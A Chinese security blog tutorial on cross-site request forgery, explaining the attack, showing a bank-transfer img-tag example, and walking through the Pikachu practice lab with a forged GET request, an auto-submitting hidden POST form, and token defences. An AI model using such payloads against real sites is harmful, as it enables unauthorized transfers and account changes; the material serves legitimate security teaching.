【网络安全】「靶场练习」（三）跨站请求伪造攻击 CSRF

sidiot

发布于 2024-11-25 07:58:37

30100

代码可运行

文章被收录于专栏：技术大杂烩技术大杂烩

运行总次数：0

代码可运行

前言

本篇博文是《从0到1学习安全测试》中靶场练习系列的第三篇博文，主要内容是了解跨站请求伪造攻击以及通过靶场进行实战练习加深印象，往期系列文章请访问博主的安全测试专栏；

严正声明：本博文所讨论的技术仅用于研究学习，旨在增强读者的信息安全意识，提高信息安全防护技能，严禁用于非法活动。任何个人、团体、组织不得用于非法目的，违法犯罪必将受到法律的严厉制裁。

跨站请求伪造攻击介绍

跨站请求伪造攻击（CSRF，Cross-Site Request Forgery） 是一种网络攻击，攻击者利用已登录用户的身份，在不知情的情况下，通过伪造的请求来执行恶意操作。与跨站脚本攻击（XSS）不同，CSRF 攻击并不需要注入恶意代码，而是利用了用户的身份认证和信任来进行操作。

1、攻击原理

CSRF 攻击依赖于以下几个条件：

用户已登录目标网站，并且其浏览器中保存了有效的认证凭据（如 cookie）。
攻击者通过诱导用户访问恶意网站或点击恶意链接，自动向目标网站发送请求。
浏览器会自动附带用户的凭据（如 cookie），使得该请求被目标网站认为是合法用户发起的，从而执行相应操作。

2、攻击流程

用户登录目标网站，例如银行网站，并进行身份验证，浏览器会保存该网站的会话 cookie。
用户在未登出的情况下访问另一个恶意网站，攻击者在该网站上放置了伪造的请求代码，通常是嵌入到 HTML 表单或图片标签中的。
恶意网站自动向目标网站发送请求，利用浏览器自动附带的会话 cookie，目标网站认为这个请求是用户发起的，并执行该请求。
目标网站执行恶意操作，如转账、修改密码等。

3、攻击示例

假设某银行网站通过以下 URL 进行转账操作：

http://bank.com/transfer?to=attacker_account&amount=1000

攻击者可以在他们的网页中嵌入一段代码，例如：

<img src="http://bank.com/transfer?to=attacker_account&amount=1000">

当用户访问恶意网站时，浏览器会自动向银行网站发送这个 GET 请求，如果用户仍然登录，银行会认为这是合法的请求，并完成转账。

4、防御措施

为了防御 CSRF 攻击，可以采取以下策略：

使用 CSRF 令牌（token）：
- 每次表单提交或敏感请求中，附加一个随机生成的 CSRF 令牌，只有当请求携带正确的令牌时才会被认为是合法的。
- 令牌应与用户的会话绑定，攻击者无法提前知道或伪造该令牌。
验证 Referer 或 Origin 头：
- 服务器可以检查请求头中的 Referer 或 Origin，确保请求是从同一域名发起的，而不是从其他网站伪造的。
双重提交 cookie：
- 将 CSRF 令牌存储在 cookie 中，并在请求中同时提交该令牌。服务器会验证请求中的令牌是否与 cookie 中的值匹配。
使用 SameSite 属性：
- 对于 cookie，可以使用 SameSite 属性，标记它们只能在同一站点的请求中发送，防止跨站点请求自动携带认证凭据。
减少 cookie 的作用范围：
- 限制 cookie 的使用范围，尽量减少敏感操作时依赖 cookie 的场景，如使用 HTTP header 传递认证信息。

5、小结

CSRF 攻击通过利用用户身份和自动认证的机制，能够在用户不知情的情况下执行恶意操作。防御该攻击的核心在于确认请求的合法性，确保每次请求都附带唯一的 CSRF 令牌，并在敏感操作中增加额外的验证措施。

跨站请求伪造攻击练习

CSRF GET

根据提示先登录一个账号看看情况：

我们将性别的 boy 修改成 girl 试试，捕获其数据包：

发现其修改参数是通过 GET params 进行，且并没有 CSRF TOKEN 来防范 CSRF 攻击，因此我们可以构造 Payload 来直接修改用户的个人信息：

GET /pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=18626545453&add=chain&email=sidiot%40pikachu.com&submit=submit HTTP/1.1

这样，我们只要将这个 Payload 伪装成链接，通过短信或者邮件的形式发送给 vince，并诱使 vince 进行点击，那么他的个人信息就会被修改，可能会造成一系列糟糕的影响。

CSRF POST

攻击方式与 CSRF GET 相似，但是 POST 请求无法通过伪造 URL 进行攻击，不过我们可以通过构造恶意网页, 将伪造的POST请求隐藏在恶意网页的表单中, 然后诱引用户点击按钮提交表单, 数据自然就POST至存在CSRF漏洞的网页, 最终用户的信息会被修改

CSRF POST 攻击的原理与 CSRF GET 攻击类似，但由于 POST 请求通常不能通过直接伪造 URL 实现，因此攻击者需要采用其他手段。在 POST 请求中，攻击者无法像 GET 请求那样简单地在 URL 中附加参数发起请求，但依然可以通过构造一个恶意网页，将伪造的 POST 请求隐藏在网页的表单中，然后引诱用户进行交互来完成攻击。

具体的攻击过程如下：

构造恶意网页：攻击者首先会设计一个恶意网页，通常包含一个隐藏的 HTML 表单。该表单会伪造一个 POST 请求，包含攻击者预定义的数据或恶意指令，指向存在 CSRF 漏洞的目标网站。
表单隐藏和自动提交：为了确保用户不会察觉，表单中的数据字段通常设置为 hidden 类型（隐藏输入字段），使用户无法看到或修改表单内容。表单可以通过按钮引导用户提交，也可以通过 JavaScript 代码在网页加载时自动提交，从而无需用户主动点击按钮。
诱使用户访问：攻击者会诱导用户访问这个恶意网页，比如通过电子邮件、社交工程、钓鱼攻击或社交媒体分享等方式。一旦用户访问并触发了表单提交，伪造的 POST 请求就会自动发送到目标网站。
用户权限滥用：由于用户已经登录了目标网站，且该请求会携带用户的身份凭证（如 Cookie 或 Session 信息），因此从服务器角度来看，这个请求是合法的，由用户发起的。
数据被篡改：一旦目标服务器接收到这个伪造的请求，便会根据 POST 请求中的参数执行相应操作，比如修改用户密码、转账、更新个人信息等，从而导致用户的数据被修改或泄露。

根据上述攻击过程，我们可以构造一个恶意网页，代码如下所示：

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>CSRF POST Form</title>
</head>
<body>
    <h1>CSRF POST Attack Simulation</h1>
    <form id="csrfForm" action="http://localhost/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
        <input type="hidden" name="sex" value="boy">
        <input type="hidden" name="phonenum" value="10086">
        <input type="hidden" name="add" value="sidiot's house">
        <input type="hidden" name="email" value="sidiot@hacker.com">
        <input type="hidden" name="submit" value="submit">
        <input type="submit" value="Submit CSRF">
    </form>

    <script>
        document.getElementById('csrfForm').submit();
    </script>
</body>
</html>

用户访问网页前

用户访问网页时

用户访问网页后

CSRF TOKEN

场景与前面相同，主要区别在于添加了 TOKEN。

http://localhost/pikachu/vul/csrf/csrftoken/token_get_edit.php?sex=girl&phonenum=15988767673&add=nba+lakes&email=kobe%40pikachu.com&token=68167670fd339d0d33078255262&submit=submit

这也使得我们伪造的额请求无法生效，比如将 sex 修改为 boy，但并不会生效，因为 TOKEN 对不上。

这就是防范 CSRF 攻击常用的解决方案：在每次请求中添加一个随机生成的安全令牌 Token。这个 Token 是唯一的，每次请求时都会变化。在前端和后端进行数据交互时，后端会对该 Token 进行验证，以确保请求确实来自合法用户，而不是通过伪造手段生成。

具体的防护过程如下：

生成 Token：当用户访问网站时，服务器会生成一个随机的、唯一的 CSRF Token，并将其嵌入到网页的表单中或者通过 HTTP 头部发送给前端。
前端携带 Token 发起请求：在用户提交表单或发起其他敏感操作时，前端会将这个 Token 一同提交到服务器。
后端验证 Token：服务器在收到请求后，会提取并验证请求中的 Token。它会检查该 Token 是否与服务器生成的 Token 相匹配，以及是否仍在有效期内。如果 Token 验证通过，服务器才会继续处理请求；否则，拒绝请求并认为它是潜在的攻击行为。

通过这种方式，服务器可以有效地防止伪造请求，因为攻击者即使能诱导用户点击链接或提交表单，也无法知道或生成有效的 Token。只有合法的用户和服务器之间的通信才能通过验证，从而大大降低了 CSRF 攻击的风险。